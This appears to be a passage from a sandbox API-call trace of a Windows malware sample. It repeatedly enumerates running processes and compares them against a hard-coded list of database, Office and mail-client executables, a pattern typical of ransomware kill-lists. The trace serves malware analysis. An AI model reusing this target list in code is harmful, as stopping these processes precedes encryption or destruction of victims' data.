(lpString1="[System Process]", lpString2="mydesktopservice.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="ocautoupds.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="encsvc.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="firefoxconfig.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="tbirdconfig.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="ocomm.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld-nt") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld-opt") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="dbeng50.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="sqbcoreservice.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="excel.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="infopath.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="msaccess.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="mspub.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="onenote.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="outlook.exe") returned -1 [0046.513] lstrcmpiW (lpString1="[System Process]", lpString2="powerpnt.exe") returned -1 [0046.513] lstrcmpiW (lpString1="[System Process]", lpString2="stream.exe") returned -1 [0046.513] lstrcmpiW (lpString1="[System Process]", lpString2="thebat.exe") returned -1 [0046.513] lstrcmpiW (lpString1="[System Process]", lpString2="thebat64.exe") returned -1 [0046.513] lstrcmpiW (lpString1="[System Process]", lpString2="Thunderbird.exe") returned -1 [0046.513] lstrcmpiW (lpString1="[System Process]", lpString2="visio.exe") returned -1 [0046.513] lstrcmpiW (lpString1="[System Process]", lpString2="winword.exe") returned -1 [0046.513] lstrcmpiW (lpString1="[System Process]", lpString2="wordpad.exe") returned -1 [0046.513] lstrcmpiW (lpString1="[System Process]", lpString2="sqlwb.exe") returned -1 [0046.513] lstrcmpiW (lpString1="[System Process]", lpString2="sqlbrowser.exe") returned -1 [0046.513] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcagntsvc.exe") returned -1 [0046.513] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcencsvc.exe") returned -1 [0046.513] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcisqlplussvc.exe") returned -1 [0047.294] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0047.299] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.300] lstrcmpiW (lpString1="[System Process]", lpString2="SearchIndexer.exesqlservr.exe") returned -1 [0047.300] lstrcmpiW (lpString1="[System Process]", lpString2="msftesql.exe") returned -1 [0047.300] lstrcmpiW (lpString1="[System Process]", lpString2="sqlagent.exe") returned -1 [0047.300] lstrcmpiW (lpString1="[System Process]", lpString2="sqlwriter.exe") returned -1 [0047.300] lstrcmpiW (lpString1="[System Process]", lpString2="oracle.exe") returned -1 [0047.300] lstrcmpiW (lpString1="[System Process]", lpString2="ocssd.exe") returned -1 [0047.300] lstrcmpiW (lpString1="[System Process]", lpString2="dbsnmp.exe") returned -1 [0047.300] lstrcmpiW (lpString1="[System Process]", lpString2="synctime.exe") returned -1 [0047.300] lstrcmpiW (lpString1="[System Process]", lpString2="mydesktopqos.exe") returned -1 [0047.300] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvc.exe") returned -1 [0047.300] lstrcmpiW (lpString1="[System Process]", lpString2="isqlpplussvc.exe") returned -1 [0047.300] lstrcmpiW (lpString1="[System Process]", lpString2="isqlpussvc.exe") returned -1 [0047.300] lstrcmpiW (lpString1="[System Process]", lpString2="xfssvccon.exe") returned -1 [0047.300] lstrcmpiW (lpString1="[System Process]", lpString2="mydesktopservice.exe") returned -1 [0047.300] lstrcmpiW (lpString1="[System Process]", lpString2="ocautoupds.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="encsvc.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="firefoxconfig.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="tbirdconfig.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="ocomm.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld-nt") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld-opt") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="dbeng50.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="sqbcoreservice.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="excel.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="infopath.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="msaccess.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="mspub.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="onenote.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="outlook.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="powerpnt.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="stream.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="thebat.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="thebat64.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="Thunderbird.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="visio.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="winword.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="wordpad.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="sqlwb.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="sqlbrowser.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcagntsvc.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcencsvc.exe") returned -1 [0047.301] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcisqlplussvc.exe") returned -1 [0048.107] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x274 [0048.113] Process32FirstW (in: hSnapshot=0x274, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0048.113] lstrcmpiW (lpString1="[System Process]", lpString2="SearchIndexer.exesqlservr.exe") returned -1 [0048.113] lstrcmpiW (lpString1="[System Process]", lpString2="msftesql.exe") returned -1 [0048.113] lstrcmpiW (lpString1="[System Process]", lpString2="sqlagent.exe") returned -1 [0048.113] lstrcmpiW (lpString1="[System Process]", lpString2="sqlwriter.exe") returned -1 [0048.113] lstrcmpiW (lpString1="[System Process]", lpString2="oracle.exe") returned -1 [0048.113] lstrcmpiW (lpString1="[System Process]", lpString2="ocssd.exe") returned -1 [0048.113] lstrcmpiW (lpString1="[System Process]", lpString2="dbsnmp.exe") returned -1 [0048.113] lstrcmpiW (lpString1="[System Process]", lpString2="synctime.exe") returned -1 [0048.113] lstrcmpiW (lpString1="[System Process]", lpString2="mydesktopqos.exe") returned -1 [0048.113] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvc.exe") returned -1 [0048.113] lstrcmpiW (lpString1="[System Process]", lpString2="isqlpplussvc.exe") returned -1 [0048.113] lstrcmpiW (lpString1="[System Process]", lpString2="isqlpussvc.exe") returned -1 [0048.113] lstrcmpiW (lpString1="[System Process]", lpString2="xfssvccon.exe") returned -1 [0048.113] lstrcmpiW (lpString1="[System Process]", lpString2="mydesktopservice.exe") returned -1 [0048.113] lstrcmpiW (lpString1="[System Process]", lpString2="ocautoupds.exe") returned -1 [0048.113] lstrcmpiW (lpString1="[System Process]", lpString2="encsvc.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="firefoxconfig.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="tbirdconfig.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="ocomm.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld-nt") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld-opt") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="dbeng50.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="sqbcoreservice.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="excel.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="infopath.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="msaccess.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="mspub.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="onenote.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="outlook.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="powerpnt.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="stream.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="thebat.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="thebat64.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="Thunderbird.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="visio.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="winword.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="wordpad.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="sqlwb.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="sqlbrowser.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcagntsvc.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcencsvc.exe") returned -1 [0048.114] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcisqlplussvc.exe") returned -1 [0048.679] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278 [0048.684] Process32FirstW (in: hSnapshot=0x278, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="SearchIndexer.exesqlservr.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="msftesql.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="sqlagent.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="sqlwriter.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="oracle.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="ocssd.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="dbsnmp.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="synctime.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="mydesktopqos.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvc.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="isqlpplussvc.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="isqlpussvc.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="xfssvccon.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="mydesktopservice.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="ocautoupds.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="encsvc.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="firefoxconfig.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="tbirdconfig.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="ocomm.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld-nt") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld-opt") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="dbeng50.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="sqbcoreservice.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="excel.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="infopath.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="msaccess.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="mspub.exe") returned -1 [0048.685] lstrcmpiW (lpString1="[System Process]", lpString2="onenote.exe") returned -1 [0048.686] lstrcmpiW (lpString1="[System Process]", lpString2="outlook.exe") returned -1 [0048.686] lstrcmpiW (lpString1="[System Process]", lpString2="powerpnt.exe") returned -1 [0048.686] lstrcmpiW (lpString1="[System Process]", lpString2="stream.exe") returned -1 [0048.686] lstrcmpiW (lpString1="[System Process]", lpString2="thebat.exe") returned -1 [0048.686] lstrcmpiW (lpString1="[System Process]", lpString2="thebat64.exe") returned -1 [0048.686] lstrcmpiW (lpString1="[System Process]", lpString2="Thunderbird.exe") returned -1 [0048.686] lstrcmpiW (lpString1="[System Process]", lpString2="visio.exe") returned -1 [0048.686] lstrcmpiW (lpString1="[System Process]", lpString2="winword.exe") returned -1 [0048.686] lstrcmpiW (lpString1="[System Process]", lpString2="wordpad.exe") returned -1 [0048.686] lstrcmpiW (lpString1="[System Process]", lpString2="sqlwb.exe") returned -1 [0048.686] lstrcmpiW (lpString1="[System Process]", lpString2="sqlbrowser.exe") returned -1 [0048.686] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcagntsvc.exe") returned -1 [0048.686] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcencsvc.exe") returned -1 [0048.686] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcisqlplussvc.exe") returned -1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="SearchIndexer.exesqlservr.exe") returned 1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="msftesql.exe") returned 1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="sqlagent.exe") returned -1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="sqlwriter.exe") returned -1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="oracle.exe") returned 1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="ocssd.exe") returned 1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="dbsnmp.exe") returned 1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="synctime.exe") returned -1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="mydesktopqos.exe") returned 1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="agntsvc.exe") returned 1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="isqlpplussvc.exe") returned 1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="isqlpussvc.exe") returned 1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="xfssvccon.exe") returned -1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="mydesktopservice.exe") returned 1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="ocautoupds.exe") returned 1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="encsvc.exe") returned 1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="firefoxconfig.exe") returned 1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="tbirdconfig.exe") returned -1 [0050.449] lstrcmpiW (lpString1="skype.exe", lpString2="ocomm.exe") returned 1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="mysqld.exe") returned 1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="mysqld-nt") returned 1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="mysqld-opt") returned 1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="dbeng50.exe") returned 1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="sqbcoreservice.exe") returned -1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="excel.exe") returned 1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="infopath.exe") returned 1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="msaccess.exe") returned 1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="mspub.exe") returned 1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="onenote.exe") returned 1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="outlook.exe") returned 1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="powerpnt.exe") returned 1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="stream.exe") returned -1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="thebat.exe") returned -1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="thebat64.exe") returned -1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="Thunderbird.exe") returned -1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="visio.exe") returned -1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="winword.exe") returned -1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="wordpad.exe") returned -1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="sqlwb.exe") returned -1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="sqlbrowser.exe") returned -1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="agntsvcagntsvc.exe") returned 1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="agntsvcencsvc.exe") returned 1 [0050.450] lstrcmpiW (lpString1="skype.exe", lpString2="agntsvcisqlplussvc.exe") returned 1 [0050.451] lstrcmpiW (lpString1="smartftp.exe", lpString2="SearchIndexer.exesqlservr.exe") returned 1 [0050.451] lstrcmpiW (lpString1="smartftp.exe", lpString2="msftesql.exe") returned 1 [0050.451] lstrcmpiW (lpString1="smartftp.exe", lpString2="sqlagent.exe") returned -1 [0050.451] lstrcmpiW (lpString1="smartftp.exe", lpString2="sqlwriter.exe") returned -1 [0050.451] lstrcmpiW (lpString1="smartftp.exe", lpString2="oracle.exe") returned 1 [0050.451] lstrcmpiW (lpString1="smartftp.exe", lpString2="ocssd.exe") returned 1 [0050.451] lstrcmpiW (lpString1="smartftp.exe", lpString2="dbsnmp.exe") returned 1 [0050.451] lstrcmpiW (lpString1="smartftp.exe", lpString2="synctime.exe") returned -1 [0050.451] lstrcmpiW (lpString1="smartftp.exe", lpString2="mydesktopqos.exe") returned 1 [0050.451] lstrcmpiW (lpString1="smartftp.exe", lpString2="agntsvc.exe") returned 1 [0050.451] lstrcmpiW (lpString1="smartftp.exe", lpString2="isqlpplussvc.exe") returned 1 [0050.451] lstrcmpiW (lpString1="smartftp.exe", lpString2="isqlpussvc.exe") returned 1 [0050.451] lstrcmpiW (lpString1="smartftp.exe", lpString2="xfssvccon.exe") returned -1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="mydesktopservice.exe") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="ocautoupds.exe") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="encsvc.exe") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="firefoxconfig.exe") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="tbirdconfig.exe") returned -1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="ocomm.exe") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="mysqld.exe") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="mysqld-nt") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="mysqld-opt") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="dbeng50.exe") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="sqbcoreservice.exe") returned -1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="excel.exe") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="infopath.exe") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="msaccess.exe") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="mspub.exe") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="onenote.exe") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="outlook.exe") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="powerpnt.exe") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="stream.exe") returned -1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="thebat.exe") returned -1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="thebat64.exe") returned -1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="Thunderbird.exe") returned -1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="visio.exe") returned -1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="winword.exe") returned -1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="wordpad.exe") returned -1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="sqlwb.exe") returned -1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="sqlbrowser.exe") returned -1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="agntsvcagntsvc.exe") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="agntsvcencsvc.exe") returned 1 [0050.452] lstrcmpiW (lpString1="smartftp.exe", lpString2="agntsvcisqlplussvc.exe") returned 1 [0050.453] lstrcmpiW (lpString1="totalcmd.exe", lpString2="SearchIndexer.exesqlservr.exe") returned 1 [0050.453] lstrcmpiW (lpString1="totalcmd.exe", lpString2="msftesql.exe") returned 1 [0050.453] lstrcmpiW (lpString1="totalcmd.exe", lpString2="sqlagent.exe") returned 1 [0050.453] lstrcmpiW (lpString1="totalcmd.exe", lpString2="sqlwriter.exe") returned 1 [0050.453] lstrcmpiW (lpString1="totalcmd.exe", lpString2="oracle.exe") returned 1 [0050.453] lstrcmpiW (lpString1="totalcmd.exe", lpString2="ocssd.exe") returned 1 [0050.453] lstrcmpiW (lpString1="totalcmd.exe", lpString2="dbsnmp.exe") returned 1 [0050.453] lstrcmpiW (lpString1="totalcmd.exe", lpString2="synctime.exe") returned 1 [0050.453] lstrcmpiW (lpString1="totalcmd.exe", lpString2="mydesktopqos.exe") returned 1 [0050.453] lstrcmpiW (lpString1="totalcmd.exe", lpString2="agntsvc.exe") returned 1 [0050.453] lstrcmpiW (lpString1="totalcmd.exe", lpString2="isqlpplussvc.exe") returned 1 [0050.453] lstrcmpiW (lpString1="totalcmd.exe", lpString2="isqlpussvc.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="xfssvccon.exe") returned -1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="mydesktopservice.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="ocautoupds.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="encsvc.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="firefoxconfig.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="tbirdconfig.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="ocomm.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="mysqld.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="mysqld-nt") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="mysqld-opt") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="dbeng50.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="sqbcoreservice.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="excel.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="infopath.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="msaccess.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="mspub.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="onenote.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="outlook.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="powerpnt.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="stream.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="thebat.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="thebat64.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="Thunderbird.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="visio.exe") returned -1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="winword.exe") returned -1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="wordpad.exe") returned -1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="sqlwb.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="sqlbrowser.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="agntsvcagntsvc.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="agntsvcencsvc.exe") returned 1 [0050.454] lstrcmpiW (lpString1="totalcmd.exe", lpString2="agntsvcisqlplussvc.exe") returned 1 [0050.455] lstrcmpiW (lpString1="trillian.exe", lpString2="SearchIndexer.exesqlservr.exe") returned 1 [0050.455] lstrcmpiW (lpString1="trillian.exe", lpString2="msftesql.exe") returned 1 [0050.455] lstrcmpiW (lpString1="trillian.exe", lpString2="sqlagent.exe") returned 1 [0050.455] lstrcmpiW (lpString1="trillian.exe", lpString2="sqlwriter.exe") returned 1 [0050.455] lstrcmpiW (lpString1="trillian.exe", lpString2="oracle.exe") returned 1 [0050.455] lstrcmpiW (lpString1="trillian.exe", lpString2="ocssd.exe") returned 1 [0050.455] lstrcmpiW (lpString1="trillian.exe", lpString2="dbsnmp.exe") returned 1 [0050.455] lstrcmpiW (lpString1="trillian.exe", lpString2="synctime.exe") returned 1 [0050.455] lstrcmpiW (lpString1="trillian.exe", lpString2="mydesktopqos.exe") returned 1 [0050.455] lstrcmpiW (lpString1="trillian.exe", lpString2="agntsvc.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="isqlpplussvc.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="isqlpussvc.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="xfssvccon.exe") returned -1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="mydesktopservice.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="ocautoupds.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="encsvc.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="firefoxconfig.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="tbirdconfig.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="ocomm.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="mysqld.exe") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="mysqld-nt") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="mysqld-opt") returned 1 [0050.456] lstrcmpiW (lpString1="trillian.exe", lpString2="dbeng50.exe") returned 1 [0050.456] lstrcmpiW 